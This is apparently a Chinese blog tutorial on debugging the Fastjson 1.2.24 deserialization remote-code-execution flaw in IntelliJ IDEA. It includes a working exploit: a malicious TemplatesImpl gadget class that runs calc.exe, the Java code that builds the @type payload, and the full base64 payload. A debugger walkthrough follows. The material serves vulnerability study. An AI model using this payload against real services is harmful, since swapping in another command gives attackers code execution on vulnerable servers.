IDEA 是 Java 的集成开发环境,也是调试分析 Java 相关漏洞的神器,这篇文章将会介绍如何使用 IDEA 对 Java 反序列化漏洞进行分析,并以 Fastjson 反序列化漏洞的调试分析作为实战例子。
本次实验需要具备 Java 语言的基础,特别是反射方面的知识。
环境搭建
进行调试前,需要安装必要的环境
- JDK8
- IDEA
在下面的地址下载 JDK 8
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html
在这里下载 IDEA 社区版本
https://www.jetbrains.com/idea/download/
下载好后直接安装jdk8 和 IDEA ,使用默认选项即可。
安装好 IDEA 后,打开IDEA ,点击 New Project
在新窗口中选择 Gradle 项目,Project SDK 处选择我们安装的 jdk 8,然后勾选 Java ,点击 Next 进入下一步。
输入项目名称,点击 Finish
耐心等待项目初始化完,也就是等待下面的进度条消失
初始化完后的页面如下,在左边的窗口出现了如下目录,其中 src 目录是存放源码的目录。
接下来创建一个类进行调试
输入 hello world 代码
public class Main {
public static void main(String[] args) {
System.out.printf(“Hello World!”);
}
}
点击代码左边的绿色小箭头来运行代码
可以看到成功输出了 Hello World!
接下来开始配置实验环境,先通过配置项目构建工具 gradle 来加载存在漏洞的 fastjson 库,打开 build.gradle 文件,修改与以下内容,第14行处导入存在漏洞的 fastjson 库,版本号为 1.2.24, 然后点击右上角的 gradle 同步按钮,这样 gradle 就会自动下载该版本的 fastjson 作为库来使用。
plugins {
id ‘java’
}
group ‘org.example’
version ‘1.0-SNAPSHOT’
repositories {
mavenCentral()
}
dependencies {
testCompile group: ‘junit’, name: ‘junit’, version: ‘4.12’
compile ‘com.alibaba:fastjson:1.2.24’
}
fastjson 用法
在进行漏洞调试前,我们先来看看 fastjson 的用法。fastjson 是一个阿里开发的一个操作 json 数据的库。
先创建一个 Person 类来演示 fastjson 的使用,该类是一个典型的 java bean , 实现了 setter 和 getter 方法(setter 和 getter 方法一般用于给对象的变量赋值,如 setAge 方法给 age 变量赋值),同时实现了 toString() 方法,便于打印实例对象。
public class Person {
private int age;
private String name;
public int getAge() {
System.out.println("call getAge function ");
return age;
}
public void setAge(int age) {
System.out.println("call setAge function ");
this.age = age;
}
public void setName(String name) {
System.out.println("call setName function ");
this.name = name;
}
public String getName() {
System.out.println("call getName function ");
return name;
}
@Override
public String toString() {
return "Person{" +
"age=" + age +
", name='" + name + ''' +
'}';
}
}
在 Main 类中添加以下代码,第5-7 行处创建了 person 对象,年龄为18, 姓名为 Jenny。第 9 行处使用 JSONObject.toJSONString() 方法把 person 对象转化为 json 字符串。
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
Person person = new Person();
person.setAge(18);
person.setName(“Jenny”);
String s1 = JSONObject.toJSONString(person);
System.out.println("s1: " + s1);
}
}
点击右上角的运行按钮运行,运行结果如下,可以看到 fastjson 在把 person 对象转化为 json 字符串时,调用了它的 getAge() 方法和 getName() 方法。最终把 person 对象转化为下面的字符串:
{“age”:18,”name”:”Jenny”}
fastjson 支持把对象转化为 json 字符串,同时也可以解析 json 字符串来还原对象,其中把对象转化为 json 字符串的过程为序列化,把 json 字符串还原为对象的过程为反序列化。在下面代码中, 第15行处把 person 对象序列化为 json 字符串 s2,其中 toJSONString() 方法中多了个 SerializerFeature.WriteClassName 参数,把类型信息输出。在第18行处解析 s2 生成 person2 对象。
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
Person person = new Person();
person.setAge(18);
person.setName(“Jenny”);
String s1 = JSONObject.toJSONString(person);
System.out.println("s1: " + s1);
// 把对象序列化为 json 字符串 s2
String s2 = JSONObject.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println("s2: " + s2);
// 把 json 字符串转化成 person2 对象
Person person2 = JSONObject.parseObject(s2, Person.class, new ParserConfig(), Feature.SupportNonPublicField);
System.out.println(person2);
}
}
输出结果中,s2 的值如下,对比 s1,s2 多了个 @type 键,值为 Person,这样在调用 parseObject() 方法反序列化时,就可以还原回特定的对象。在输出结果的最后,已经还原了 person2 对象并输出
{“@type”:”Person”,”age”:18,”name”:”Jenny”}
在上面的输出中可以看出,反序列化时,fastjson 还调用了 Person 类对象的 setAge() 和 setName() 方法来为 person2 对象来赋值。
如果我们能找到一个类,在反序列化这个类的对象时,fastjson 调用其中的 setter 或者 getter 方法来给它赋值,同时这个赋值方法存在漏洞,可以执行恶意代码,那么就可以获得远程代码执行了。这个类就是 TemplatesImpl 类。
TemplatesImpl 介绍
先来了解下 TemplatesImpl 类在反序列化时是如何导致远程代码执行的。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类
常用在 Jdk7u21 版本之前的反序列化漏洞利用。
在 fastjson 反序列化漏洞中,可以在 jdk8 中使用。存在漏洞的方法为
getOutputProperties() 方法,点击IDEA的搜索按钮,输入 TemplatesImpl ,点击结果查看源码
在左边的 structure 窗口找到 getOutputProperties() 方法,点击跳到方法源码,在586行处调用了 newTransformer() 方法
在 newTransformer() 的地方按住 Ctrl 键用鼠标单击,跳转到 newTransformer() 方法的代码处。该方法在 485 行处调用了 getTransletInstance() 方法,继续跟进该方法。
在 getTransletInstance() 方法,如果 _name 等于 null ,直接返回, 如果 _class 等于 null ,则调用 defineTransletClasses() 方法,继续跟进该方法
在 defineTransletClasses() 方法中,在415行处将byte[][] 类型变量 _bytecodes 中的每个 byte 数组转进 loader.defineClass() 方法中,即调用了 ClassLoader 的 defineClass() 方法。
defineClass() 方法可以从 byte[] 中还原出一个Class对象, 接着保存到 _class 数组中,并且在第 419 行要求该 Class 对象的父类为
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 类。
然后回到 getTransletInstance() 方法中,在第 457 行处用 _class 数组中的 Class 对象调用 newInstance() 方创建了该 Class 的一个对象。
看到这里,一条漏洞利用链就很清晰了,如果我们能控制 _bytecodes 数组的值,使其为我们的恶意 Class 文件,该 恶意Class 的父类是
AbstractTranslet 类,并且构造方法的代码会执行我们想要的系统命令,最后调用 TemplatesImpl 类的 getOutputProperties() 方法就可以创建恶意 Class 对象,创建对象时会调用构造方法,这样就可以执行命令了。
构造 payload
前面介绍完了 TemplatesImpl 的利用方法,现在来构造 payload 进行测试,先创建一个恶意类 Shell ,继承 AbstractTranslet 类,构造方法中执行计算器的命令。也就是说,当创建这个对象时,会执行命令弹出计算器。这就是我们恶意的 Class 。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet {
public Shell() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后我们编译该类
接着创建 Exploit 类,用来生成 payload 并执行, 该类中定义一个
fileToBase64() 函数,该函数读取 class 文件并转化为 Base64 编码。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
public class Exploit {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String base64EvilCode = fileToBase64(“C:UsersadminIdeaProjectsfastjson_debugbuildclassesjavamainShell.class”);
String payload = “{“@type”:”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,”_bytecodes”:[“” + base64EvilCode + “”],”_name”:”a”,”_tfactory”:{ },”_outputProperties”:{ }}”;
System.out.println(payload);
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
public static String fileToBase64(String path) {
String base64Result = null;
InputStream inputStream = null;
try {
File file = new File(path);
inputStream = new FileInputStream(file);
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes, 0, inputStream.available());
base64Result = new String(Base64.getEncoder().encode(bytes));
} catch (Exception e) {
e.printStackTrace();
} finally {
if (inputStream != null) {
try {
inputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
return base64Result;
}
}
在第14行处的路径是 Shell.class 的绝对路径 ,可以在IDEA中 build 目录中左键获取,上面代码获取了 Shell.class 的 base64 编码,然后构造 json 字符串,该 json 字符串是 TemplatesImpl 类的 json 序列化字符串,通过在 17 行处解释该 json 字符串还原 TemplatesImpl 类对象。
先运行一次 Exploit 的代码,点击 main 函数左右的绿色箭头运行代码,成功弹出计算器。输出的 payload 是
{“@type”:”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,”_bytecodes”:[“yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAHTFNoZWxsOwEADVN0YWNrTWFwVGFibGUHACsHACkBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEABVNoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAfAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwAMAAAAGgAGAAAACwAEAA0ADQAQABAADgARAA8AFQARAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAASAAAAEAAC/wAQAAEHABMAAQcAFAQAAQAVABYAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABYADQAAACAAAwAAAAEAEAARAAAAAAABABcAGAABAAAAAQAZABoAAgAbAAAABAABABwAAQAVAB0AAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABsADQAAACoABAAAAAEAEAARAAAAAAABABcAGAABAAAAAQAeAB8AAgAAAAEAIAAhAAMAGwAAAAQAAQAcAAEAIgAAAAIAIw==”],”_name”:”a”,”_tfactory”:{ },”_outputProperties”:{ }}
动态调试
上面已经准备好了漏洞环境,现在来开始使用 IDEA 进行动态调试,通过动态调试来搞清楚为什么 payload 要这样构造,以及 fastjson 反序列化漏洞利用的原理。
在17行的行号旁边用鼠标单击下断点,点击右上角的 debug 图标开始调试
调试启动后,在下面出现 debug 窗口,可以查看变量的值和调用栈。
先介绍下常用按钮的功能,然后再开始调试漏洞,先看第一组按钮
Show Execution Point (Alt + F10):如果你的光标在其它行或其它页面,点击这个按钮可跳转到当前代码执行的行。
Step Over (F8):步过,一行一行地往下走,如果这一行上有方法不会进入方法。
Step Into (F7):步入,如果当前行有方法,可以进入方法内部,一般用于进入自定义方法内,不会进入官方类库的方法。如 JDK 中的方法。
Force Step Into (Alt + Shift + F7):强制步入,能进入任何方法,查看底层源码的时候可以用这个进入官方类库的方法。如 JDK 中的方法。
Step Out (Shift + F8):步出,从步入的方法内退出到方法调用处,此时方法已执行完毕,只是还没有完成赋值。
Drop Frame :回退断点,可退回到上一个方法的调用处。
Run to Cursor (Alt + F9):运行到光标处,你可以将光标定位到你需要查看的那一行,然后使用这个功能,代码会运行至光标行,而不需要打断点。
Evaluate Expression (Alt + F8):计算表达式,可以很方便计算表达式是否正确,或者调用变量的方法。
继续看下一组常用按钮
Rerun:重新运行程序,会关闭服务后重新启动程序。
Resume Program (F9):恢复程序,如果后面有断点,会运行到下一个断点,如果没有断点,则运行到程序结束。
Stop (Ctrl + F2):关闭程序,停止调试。
View Breakpoints (Ctrl + Shift + F8):查看所有断点,可以方便地禁用和启用断点,还可以设置条件断点。
Mute Breakpoints:哑的断点,选择这个后,所有断点变为灰色,断点失效,按F9则可以直接运行完程序。再次点击,断点变为红色,有效。如果只想使某一个断点失效,可以在断点上右键取消Enabled
基本功能介绍完了,现在开始调试,点击步入(F7),进入
JSON.parseObject() 方法,发现里面只是调用了另一个 parseObject() 方法,继续点步入(F7),在刚开始调试时,可以一直点步入(F7),因为不知道哪些方法是无关的,哪些方法是关键的,当知道哪些方法无关或者不想看时,就可以点步过(F8)来跳过该方法,从而节省时间。
接下来到了真正的代码处,在323 行处可以点步过(F8),创建对象的一般不关注。
在 339 行处点步入(F7),跟进方法
在 616 行处,由于不知道 lexer.token() 是什么作用,可以跟步入(F7)进去看看
进去后发现直接返回了个 token,那么下次可以直接步过(F8)这个方法了
继续在 636行步入(F7) 查看
步入(F7)
发现是从 Map 中取元素的代码,对于这种不感兴趣的代码,就点步出(Shift + F8),跳出该方法的调用。
继续跟进,639 行处调用的方法名意思为反序列化,步入
继续跟到下面代码, lexer.token() 这种之前已经确认可以步过的,就直接步过,不用跟进了。
跟进
发现这里的代码在解析 json 字符串,在 226 行处跳过空白字符,有兴趣的可以跟进去查看源码, 227 行处获取跳过空白字符后的当前字符
获取当前字符后,可以在代码的旁边看到该变量的值, 获取的字符是双引号,展开变量窗口的 this 变量,可以猜测已经解析到了 input 变量中箭头的位置。在238行处判断如果是双引号,则扫描符号,跟进去看看
在 scanSymbol() 方法中有个 for 循环读取下一个双引号前的字符,下图中已经读取了 @ 字符。知道这个方法的功能后,点步出
步出后,确实是解析了双引号之间的内容 @type
在320行处判断解析出来的 key 值是不是 @type , 把鼠标放在
JSON.DEFAULT_TYPE_KEY 处可以查看该常量的值,可以看到该值是 @type
如果想知道该表达式的值,还可以点变量计算器来计算,结果是 true
在321行处解析出了 @type 的值为
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
然后在322行处加载了该类的 Class 对象
继续在 DefaultJSONParser 的 parseObject() 方法步过跟下去,在367行处步入
继续在 ParserConfig 类的 312 行处跟进
一直步过到 461 行,步入,在该方法中进行了很多检查,一直步过,在 526 行处步入 build 方法
在 build 方法的 134行和135行处通过反射获取了 TemplatesImpl 类的所有变量对象和方法对象
接着遍历所有方法,判断是否是 set 开着的 setter 方法
如果是 setter 方法,则在429 行的 add 方法中保存到 fieldList 列表中,后续用到,本次保存的是 setStylesheetDOM() 方法。
知道了这段 for 循环的作用是保存 setter 方法后,就不用继续调试这段了,可以把鼠标放在 490 行处,点击运行到指针,开始调试下一段代码,这段代码和上段代码作用相似,作用是保存方法名是 get 开头的方法,可以看到本次保存的方法是 getOutputProperties() 方法对象,也就是存在漏洞的方法。
往下步过,发现在 506 行处做了一处判断,需要该 getter 方法的返回值的类型是 Map 类才保存
现在打开 getOutputProperties() 方法,查看它的返回值,发现返回值是
Properties 类型,它的父类正好是 Map 类,所以会记录到 fieldList 列表中,在方法最后返回 JavaBeanInfo 对象,该对象保存有 fieldList 列表,也就是 TemplatesImpl 类 中符合条件的 setter 和 getter 方法。
在返回的 beanInfo 对象中,已经解释了哪些变量对应哪些 setter 和 getter 方法,在下图中可以看到, outputProperties 变量对应 getOutputProperties()方法(其实是 outputProperties 变量,只是在运行时去掉了 )
接着一直运行到返回处,创建了一个 JavaBeanDeserializer 对象,该对象保存了 JavaBeanInfo 对象,也就是保存了哪些变量对应哪些 setter 和 getter 函数
继续返回
直到返回到 DefaultJSONParser 的 367 行处,然后在 368 行处继续步入
步入到 JavaBeanDeserializer 类中的 deserialze 方法时,一直步过,运行到 472行处时,解析了 json 字符串中的第一个变量名称 _bytecodes
然后一直使用步过,运行到 570 行处时,创建了 TemplatesImpl 类的一个实例
接着在 600行处开始解析 _bytecodes 变量的值,步入
然后一直步过,在 752行处获取 TemplatesImpl 类的 _bytecode 变量对象,然后在 755行处创建了该变量的反序列化器
接着在 773 行处使用该反序列化器解析 _bytecode 变量对象的值,继续跟进
在该方法的 71 行处继续步入
一直运行到 ObjectArrayCodec 类中的 177 行处,步入
继续运行到 DefaultJSONParser 类中的 723 行,步入
在 136 行处调用了 lexer.bytesValue() 方法,看名字像是解析 byte 数组的值,步入
发现该函数的作用是使用 base64 解码 json 字符串第 85 位开始的地方,刚好是 base64 编码的 class 文件的内容,在这里就可以知道,为什么恶意的 class 文件要用 base64 编码了,因为 fastjson 对 byte 数组的值解析是使用 base64 解码来获取的。
解析完 byte 数组的值后返回。
继续返回
回到 ObjectArrayCodec 类的 179 行时,在 toObjectArray() 方法中把解析出来的 byte 数组放进 byte[][] 数组中,刚好对应了 TemplatesImpl 类的
_bytecode 变量类型
返回到 DefaultFieldDeserializer 类中,在 83行的 setValue 方法中把解析出来的 _bytecode 变量,设置进创建的 TemplatesImpl 对象中,在变量窗口可以看到 object 是前面创建的 TemplatesImpl 类的对象,继续跟进 setValue() 方法
该方法是漏洞触发的地方,只是这个变量没有运行到那个分支,最终在 131 行处通过反射的方式把解析出来的 _bytecode 变量,设置进创建的 TemplatesImpl 对象中
到这里,就完成了 _bytecode 变量的解析。
再头回看我们的 payload , _bytecode 解析完了,还有 _name、_tfactory、_outputProperties
{“@type”:”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,”_bytecodes”:[“yv6…Iw==”],”_name”:”a”,”_tfactory”:{ },”_outputProperties”:{ }}
为 _name 变量设置值是为了 getOutputProperties() 方法调用的
getTransletInstance() 方法的第 450 行处不返回 null
将 _tfactory 设置成 {} 是为了创建一个 TransformerFactoryImpl 对象。这样
是为了 getOutputProperties() 方法调用的 defineTransletClasses() 方法的402 行处能够运行。
在前面已经知道 JavaBeanDeserializer 类中的 472 行处的功能是扫描变量名或变量值,在这里下个断点,当扫描变量时,就可以中断下来查看怎样给变量赋值的了。
点击恢复程序(F9),再次断在这里,运行到474行时,已经解析了变量名 _name
根据前面的技巧跟踪,发现 StringCodec 类的 95 行处解析了 _name 变量的值是 a
返回后调用 setValue() 方法赋值,继续点击恢复程序(F9) ,跳到解析 _factory 变量的代码。
一直跟踪,发现再次调用了断点处的代码来获取 _factory 的值,但此时获取的值是 null,因为 {} 代表空对象
接着在 629 行处创建了一个 TransformerFactoryImpl 对象,然后
调用 setValue() 方法赋值
继续点击恢复程序(F9) ,跳到解析 _outputProperties 变量的代码。
一直跟踪到最后的 setValue() 方法,此时在 66 行处获取了该变量对应的 getter 方法。也就是 getOutputProperties() 方法。此时会触发 method != null 的分支
在 85 行处通过反射调用 getOutputProperties() 方法,在85 行处点击步入 ,就会跳到 Shell 类的构造方法。
再看看左下角的调用栈,可以看到是调用了 getOutputProperties() 方法 ,最终调用了
newInstance() 方法创建了 Shell 类
调用完 Shell 的构造方法后,成功弹出计算器。
到这里, fastjson 的反序列化漏洞的调试就结束了。
经过上面的调试,我们知道了完整的漏洞触发原理: fastjson 在反序列化时,会解释该序列化对象变量的值,如果该变量的值含有setter 或 getter 方法,就会调用该方法来完成赋值,在上面的 payload 中,为了解析_outputProperties 变量的值而调用了getOutputProperties() 方法,而 getOutputProperties() 方法中的 defineTransletClasses() 方法会把 _bytecode 变量的值作为类来加载。因此,我们只需要创建一个类(上文中的 Shell 类),该类的构造方法中会执行我们想要的命令,把这个类的 class 文件作 base64 编码再为json 字符串中的_bytecode 变量赋值,最终会在 defineTransletClasses() 类创建该类的实例时,调用构造方法执行命令。
调试到此结束,熟练使用 IDEA 调试,可以帮助我们更加深刻地了解漏洞原理。
声明:文中观点不代表本站立场。本文传送门:https://eyangzhen.com/247189.html